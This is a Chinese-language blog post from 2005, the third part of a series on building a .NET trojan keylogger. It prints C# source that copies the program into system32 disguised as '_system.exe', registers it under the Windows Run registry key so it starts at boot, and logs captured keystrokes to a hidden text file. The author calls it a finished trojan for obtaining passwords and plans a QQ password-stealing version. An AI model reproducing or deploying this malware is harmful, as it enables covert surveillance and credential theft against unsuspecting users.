The Stars ...My Destination

adamxx

天下事,法无定法,然后知非法法之
世间人,尤了未了,何妨以不了了之

导航

.net木马的实现-开机键盘记录 - 3 RegistryReport和 Report类

Posted on 2005-11-10 22:11  adamxx  阅读(931)  评论(3编辑  收藏  举报

.net木马的实现-开机键盘记录

3  RegistryReport和 Report类

这是RegistryReport 类的实现

public void MoveFile() 

     
//判断该位置是否存在_system.exe,如果不是,就把程序移动到该位置,否则返回 
     if(!File.Exists("c:\\windows\\system32\\_system.exe")) 
     

              File.Move(Application.ExecutablePath,
"c:\\windows\\system32\\_system.exe"); 
     }
 
     
else 
          
return
}
 

//在注册表里写如启动信息 



public void registryRun() 
{    
     RegistryKey key1
=Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\run"); 
     key1.SetValue(
"","c:\\windows\\system32\\_system.exe"); 
     key1.Close(); 
}
 


这是Report类的实现:

public void FirstWrite() 
         

              StreamWriter sw 
= new StreamWriter("c:/windows/system32/keyReport.txt",true); 
              sw.WriteLine(
"************* LittleStudio Studio ************* "); 
              sw.WriteLine(
"******** " + DateTime.Today.Year.ToString() + "." 
                   
+ DateTime.Today.Month.ToString() + "." 
                   
+ DateTime.Today.Day.ToString() + "     " 
                   
+ DateTime.Now.Hour.ToString() + ":" 
                   
+ DateTime.Now.Minute.ToString() + ":" 
                   
+ DateTime.Now.Second.ToString() + " ********"); 
              sw.Close(); 
         }
 

         
public void WriteDate(string keyEvents,string keyDate) 
         

              
try 
              

                     StreamWriter sw 
= new StreamWriter("c:/windows/system32/keyReport.txt",true); 
                     sw.WriteLine(keyDate 
+ "键 " + keyEvents + "   " 
                       
+ DateTime.Now.Hour.ToString() + ":" 
                       
+ DateTime.Now.Minute.ToString() + ":" 
                       
+ DateTime.Now.Second.ToString()); 
                   sw.Close(); 
              }
 
              
catch{} 
              
return
         }
 

 

这样一个木马就写完了.用这种方式来获取密码不好,他把所有的键盘消息都记录下来了,给我们对密码的分析造成了很大的问题,而且.net中使用HOOK只能使用全局钩子,如果对单个应用程序的挂钩就不行了,在这方面用VC就好多,但是我们也可以通过其他方式来获取指定应用程序(如QQ)的消息,而且可以单单对某个控件(如密码框)的挂钩,最近忙死了,我想过段时间把QQ木马的.net实现写上了,好了,我吃饭了!